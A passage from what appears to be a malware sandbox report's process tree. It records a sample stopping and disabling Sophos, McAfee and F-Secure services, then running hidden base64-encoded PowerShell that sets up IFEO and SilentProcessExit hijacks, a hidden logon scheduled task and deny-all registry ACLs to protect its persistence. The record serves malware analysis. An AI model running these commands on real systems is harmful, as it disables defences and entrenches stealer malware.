    sc config "SAVAdminService" start=disabled
    3⤵
    PID:4080
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "Sophos Agent" >nul 2>&1
  2⤵
  PID:1268
- - C:\Windows\system32\sc.exe
    sc stop "Sophos Agent"
    3⤵
    - Launches sc.exe
    PID:4072
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "Sophos Agent" start=disabled >nul 2>&1
  2⤵
  PID:3564
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4224
- - C:\Windows\system32\sc.exe
    sc config "Sophos Agent" start=disabled
    3⤵
    PID:1664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "Sophos AutoUpdate Service" >nul 2>&1
  2⤵
  PID:3816
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3252
- - C:\Windows\system32\sc.exe
    sc stop "Sophos AutoUpdate Service"
    3⤵
    - Launches sc.exe
    PID:4976
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "Sophos AutoUpdate Service" start=disabled >nul 2>&1
  2⤵
  PID:3312
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5168
- - C:\Windows\system32\sc.exe
    sc config "Sophos AutoUpdate Service" start=disabled
    3⤵
    - Launches sc.exe
    PID:6020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "Sophos MCS Agent" >nul 2>&1
  2⤵
  PID:3392
- - C:\Windows\system32\sc.exe
    sc stop "Sophos MCS Agent"
    3⤵
    PID:4732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "Sophos MCS Agent" start=disabled >nul 2>&1
  2⤵
  PID:5276
- - C:\Windows\system32\sc.exe
    sc config "Sophos MCS Agent" start=disabled
    3⤵
    PID:1112
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "mcshield" >nul 2>&1
  2⤵
  PID:5700
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4080
- - C:\Windows\system32\sc.exe
    sc stop "mcshield"
    3⤵
    - Launches sc.exe
    PID:1492
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "mcshield" start=disabled >nul 2>&1
  2⤵
  PID:3856
- - C:\Windows\system32\sc.exe
    sc config "mcshield" start=disabled
    3⤵
    - Launches sc.exe
    PID:5932
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "mfemms" >nul 2>&1
  2⤵
  PID:5076
- - C:\Windows\system32\sc.exe
    sc stop "mfemms"
    3⤵
    PID:4956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "mfemms" start=disabled >nul 2>&1
  2⤵
  PID:4188
- - C:\Windows\system32\sc.exe
    sc config "mfemms" start=disabled
    3⤵
    - Launches sc.exe
    PID:200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "mfevtp" >nul 2>&1
  2⤵
  PID:4260
- - C:\Windows\system32\sc.exe
    sc stop "mfevtp"
    3⤵
    PID:1932
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "mfevtp" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1112
- - C:\Windows\system32\sc.exe
    sc config "mfevtp" start=disabled
    3⤵
    - Launches sc.exe
    PID:4524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "McAfeeFramework" >nul 2>&1
  2⤵
  PID:2648
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4476
- - C:\Windows\system32\sc.exe
    sc stop "McAfeeFramework"
    3⤵
    PID:2972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "McAfeeFramework" start=disabled >nul 2>&1
  2⤵
  PID:2624
- - C:\Windows\system32\sc.exe
    sc config "McAfeeFramework" start=disabled
    3⤵
    PID:4656
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "FSGKHS" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4376
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4956
- - C:\Windows\system32\sc.exe
    sc stop "FSGKHS"
    3⤵
    PID:2556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "FSGKHS" start=disabled >nul 2>&1
  2⤵
  PID:200
- - C:\Windows\system32\sc.exe
    sc config "FSGKHS" start=disabled
    3⤵
    PID:4336
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "F-Secure Gatekeeper" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1932
- - C:\Windows\system32\sc.exe
    sc stop "F-Secure Gatekeeper"
    3⤵
    PID:3940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "F-Secure Gatekeeper" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3508
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1496
- - C:\Windows\system32\sc.exe
    sc config "F-Secure Gatekeeper" start=disabled
    3⤵
    - Launches sc.exe
    PID:4668
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABwAHIAbwBjAD0AJwBuAG8AdABlAHAAYQBkAC4AZQB4AGUAJwA7ACQAaQBmAGUAbwA9ACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwASQBtAGEAZwBlACAARgBpAGwAZQAgAEUAeABlAGMAdQB0AGkAbwBuACAATwBwAHQAaQBvAG4AcwBcACcAKwAkAHAAcgBvAGMAOwAkAHMAcABlAD0AJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABTAGkAbABlAG4AdABQAHIAbwBjAGUAcwBzAEUAeABpAHQAXAAnACsAJABwAHIAbwBjADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABpAGYAZQBvACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAaQBmAGUAbwAgAC0ATgBhAG0AZQAgACcARwBsAG8AYgBhAGwARgBsAGEAZwAnACAALQBWAGEAbAB1AGUAIAAwAHgAMgAwADAAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHMAcABlACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcwBwAGUAIAAtAE4AYQBtAGUAIAAnAFIAZQBwAG8AcgB0AGkAbgBnAE0AbwBkAGUAJwAgAC0AVgBhAGwAdQBlACAAMQAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHMAcABlACAALQBOAGEAbQBlACAAJwBNAG8AbgBpAHQAbwByAFAAcgBvAGMAZQBzAHMAJwAgAC0AVgBhAGwAdQBlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMgAwADIANgAtADAAOQAtADMAMABfADcAYwAzAGUAYQBlAGEAYgAzAGEAZQBmAGMAMgBiAGEANwAxADkAYQA2ADIAZABhADEAYgA1ADIANwAyADcANwBfAGcAbABhAHMAcwB3AG8AcgBtAF8AaQBjAGUAZABpAGQAXwBsAHUAYwBhAC0AcwB0AGUAYQBsAGUAcgBfAG4AagByAGEAdABfAHMAdABlAGEAbABjAC4AZQB4AGUAIgAnAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Event Triggered Execution: Image File Execution Options Injection
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:2556
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3256
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMgAwADIANgAtADAAOQAtADMAMABfADcAYwAzAGUAYQBlAGEAYgAzAGEAZQBmAGMAMgBiAGEANwAxADkAYQA2ADIAZABhADEAYgA1ADIANwAyADcANwBfAGcAbABhAHMAcwB3AG8AcgBtAF8AaQBjAGUAZABpAGQAXwBsAHUAYwBhAC0AcwB0AGUAYQBsAGUAcgBfAG4AagByAGEAdABfAHMAdABlAGEAbABjAC4AZQB4AGUAIgAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBPAG4AIAAtAFUAcwBlAHIAIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFADsAJABwAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFAAcgBpAG4AYwBpAHAAYQBsACAALQBVAHMAZQByAEkAZAAgACQAZQBuAHYAOgBVAFMARQBSAE4AQQBNAEUAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEwAbwBnAG8AbgBUAHkAcABlACAASQBuAHQAZQByAGEAYwB0AGkAdgBlADsAJABzAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ACAALQBTAHQAYQByAHQAVwBoAGUAbgBBAHYAYQBpAGwAYQBiAGwAZQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsAUABhAHQAaAAgACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AIABFAHgAcABlAHIAaQBlAG4AYwBlAFwAJwAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAVQBwAGQAYQB0AGUAcgAnACAALQBBAGMAdABpAG8AbgAgACQAYQAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAAgAC0AUAByAGkAbgBjAGkAcABhAGwAIAAkAHAAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:4952
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5316
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABwAHIAbwBjAD0AJwBSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAJwA7ACQAaQBmAGUAbwA9ACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwASQBtAGEAZwBlACAARgBpAGwAZQAgAEUAeABlAGMAdQB0AGkAbwBuACAATwBwAHQAaQBvAG4AcwBcACcAKwAkAHAAcgBvAGMAOwAkAHMAcABlAD0AJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABTAGkAbABlAG4AdABQAHIAbwBjAGUAcwBzAEUAeABpAHQAXAAnACsAJABwAHIAbwBjADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABpAGYAZQBvACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAaQBmAGUAbwAgAC0ATgBhAG0AZQAgACcARwBsAG8AYgBhAGwARgBsAGEAZwAnACAALQBWAGEAbAB1AGUAIAAwAHgAMgAwADAAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHMAcABlACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsADsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcwBwAGUAIAAtAE4AYQBtAGUAIAAnAFIAZQBwAG8AcgB0AGkAbgBnAE0AbwBkAGUAJwAgAC0AVgBhAGwAdQBlACAAMQAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHMAcABlACAALQBOAGEAbQBlACAAJwBNAG8AbgBpAHQAbwByAFAAcgBvAGMAZQBzAHMAJwAgAC0AVgBhAGwAdQBlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMgAwADIANgAtADAAOQAtADMAMABfADcAYwAzAGUAYQBlAGEAYgAzAGEAZQBmAGMAMgBiAGEANwAxADkAYQA2ADIAZABhADEAYgA1ADIANwAyADcANwBfAGcAbABhAHMAcwB3AG8AcgBtAF8AaQBjAGUAZABpAGQAXwBsAHUAYwBhAC0AcwB0AGUAYQBsAGUAcgBfAG4AagByAGEAdABfAHMAdABlAGEAbABjAC4AZQB4AGUAIgAnAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Event Triggered Execution: Image File Execution Options Injection
  - Enumerates connected drives
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  PID:1768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2236
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIAAkAGsAPQBHAGUAdAAtAEkAdABlAG0AIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFcAaQBuAGwAbwBnAG8AbgAnACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABpAGYAKAAkAGsAKQB7ACQAYQA9ACQAawAuAEcAZQB0AEEAYwBjAGUAcwBzAEMAbwBuAHQAcgBvAGwAKAApADsAIAAkAHIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsAC4AUgBlAGcAaQBzAHQAcgB5AEEAYwBjAGUAcwBzAFIAdQBsAGUAKAAnAEUAdgBlAHIAeQBvAG4AZQAnACwAJwBEAGUAbABlAHQAZQAsAEMAaABhAG4AZwBlAFAAZQByAG0AaQBzAHMAaQBvAG4AcwAsAFQAYQBrAGUATwB3AG4AZQByAHMAaABpAHAAJwAsACcAQwBvAG4AdABhAGkAbgBlAHIASQBuAGgAZQByAGkAdAAsAE8AYgBqAGUAYwB0AEkAbgBoAGUAcgBpAHQAJwAsACcATgBvAG4AZQAnACwAJwBEAGUAbgB5ACcAKQA7ACAAJABhAC4AQQBkAGQAQQBjAGMAZQBzAHMAUgB1AGwAZQAoACQAcgApADsAIAAkAGsALgBTAGUAdABBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsACgAJABhACkAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:256
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6128
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIAAkAGsAPQBHAGUAdAAtAEkAdABlAG0AIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbQBhAGcAZQAgAEYAaQBsAGUAIABFAHgAZQBjAHUAdABpAG8AbgAgAE8AcAB0AGkAbwBuAHMAXABuAG8AdABlAHAAYQBkAC4AZQB4AGUAJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAaQBmACgAJABrACkAewAkAGEAPQAkAGsALgBHAGUAdABBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsACgAKQA7ACAAJAByAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQQBjAGMAZQBzAHMAQwBvAG4AdAByAG8AbAAuAFIAZQBnAGkAcwB0AHIAeQBBAGMAYwBlAHMAcwBSAHUAbABlACgAJwBFAHYAZQByAHkAbwBuAGUAJwAsACcARABlAGwAZQB0AGUALABDAGgAYQBuAGcAZQBQAGUAcgBtAGkAcwBzAGkAbwBuAHMALABUAGEAawBlAE8AdwBuAGUAcgBzAGgAaQBwACcALAAnAEMAbwBuAHQAYQBpAG4AZQByAEkAbgBoAGUAcgBpAHQALABPAGIAagBlAGMAdABJAG4AaABlAHIAaQB0ACcALAAnAE4AbwBuAGUAJwAsACcARABlAG4AeQAnACkAOwAgACQAYQAuAEEAZABkAEEAYwBjAGUAcwBzAFIAdQBsAGUAKAAkAHIAKQA7ACAAJABrAC4AUwBlAHQAQQBjAGMAZQBzAHMAQwBvAG4AdAByAG8AbAAoACQAYQApAH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3276
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5444
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIAAkAGsAPQBHAGUAdAAtAEkAdABlAG0AIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAaQBsAGUAbgB0AFAAcgBvAGMAZQBzAHMARQB4AGkAdABcAG4AbwB0AGUAcABhAGQALgBlAHgAZQAnACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABpAGYAKAAkAGsAKQB7ACQAYQA9ACQAawAuAEcAZQB0AEEAYwBjAGUAcwBzAEMAbwBuAHQAcgBvAGwAKAApADsAIAAkAHIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsAC4AUgBlAGcAaQBzAHQAcgB5AEEAYwBjAGUAcwBzAFIAdQBsAGUAKAAnAEUAdgBlAHIAeQBvAG4AZQAnACwAJwBEAGUAbABlAHQAZQAsAEMAaABhAG4AZwBlAFAAZQByAG0AaQBzAHMAaQBvAG4AcwAsAFQAYQBrAGUATwB3AG4AZQByAHMAaABpAHAAJwAsACcAQwBvAG4AdABhAGkAbgBlAHIASQBuAGgAZQByAGkAdAAsAE8AYgBqAGUAYwB0AEkAbgBoAGUAcgBpAHQAJwAsACcATgBvAG4AZQAnACwAJwBEAGUAbgB5ACcAKQA7ACAAJABhAC4AQQBkAGQAQQBjAGMAZQBzAHMAUgB1AGwAZQAoACQAcgApADsAIAAkAGsALgBTAGUAdABBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsACgAJABhACkAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2892
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5236
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIAAkAGsAPQBHAGUAdAAtAEkAdABlAG0AIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbQBhAGcAZQAgAEYAaQBsAGUAIABFAHgAZQBjAHUAdABpAG8AbgAgAE8AcAB0AGkAbwBuAHMAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAaQBmACgAJABrACkAewAkAGEAPQAkAGsALgBHAGUAdABBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsACgAKQA7ACAAJAByAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQQBjAGMAZQBzAHMAQwBvAG4AdAByAG8AbAAuAFIAZQBnAGkAcwB0AHIAeQBBAGMAYwBlAHMAcwBSAHUAbABlACgAJwBFAHYAZQByAHkAbwBuAGUAJwAsACcARABlAGwAZQB0AGUALABDAGgAYQBuAGcAZQBQAGUAcgBtAGkAcwBzAGkAbwBuAHMALABUAGEAawBlAE8AdwBuAGUAcgBzAGgAaQBwACcALAAnAEMAbwBuAHQAYQBpAG4AZQByAEkAbgBoAGUAcgBpAHQALABPAGIAagBlAGMAdABJAG4AaABlAHIAaQB0ACcALAAnAE4AbwBuAGUAJwAsACcARABlAG4AeQAnACkAOwAgACQAYQAuAEEAZABkAEEAYwBjAGUAcwBzAFIAdQBsAGUAKAAkAHIAKQA7ACAAJABrAC4AUwBlAHQAQQBjAGMAZQBzAHMAQwBvAG4AdAByAG8AbAAoACQAYQApAH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4680
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5976
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIAAkAGsAPQBHAGUAdAAtAEkAdABlAG0AIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAaQBsAGUAbgB0AFAAcgBvAGMAZQBzAHMARQB4AGkAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAnACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABpAGYAKAAkAGsAKQB7ACQAYQA9ACQAawAuAEcAZQB0AEEAYwBjAGUAcwBzAEMAbwBuAHQAcgBvAGwAKAApADsAIAAkAHIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsAC4AUgBlAGcAaQBzAHQAcgB5AEEAYwBjAGUAcwBzAFIAdQBsAGUAKAAnAEUAdgBlAHIAeQBvAG4AZQAnACwAJwBEAGUAbABlAHQAZQAsAEMAaABhAG4AZwBlAFAAZQByAG0AaQBzAHMAaQBvAG4AcwAsAFQAYQBrAGUATwB3AG4AZQByAHMAaABpAHAAJwAsACcAQwBvAG4AdABhAGkAbgBlAHIASQBuAGgAZQByAGkAdAAsAE8AYgBqAGUAYwB0AEkAbgBoAGUAcgBpAHQAJwAsACcATgBvAG4AZQAnACwAJwBEAGUAbgB5ACcAKQA7ACAAJABhAC4AQQBkAGQAQQBjAGMAZQBzAHMAUgB1AGwAZQAoACQAcgApADsAIAAkAGsALgBTAGUAdABBAGMAYwBlAHMAcwBDAG8AbgB0AHIAbwBsACgAJABhACkAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2972
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
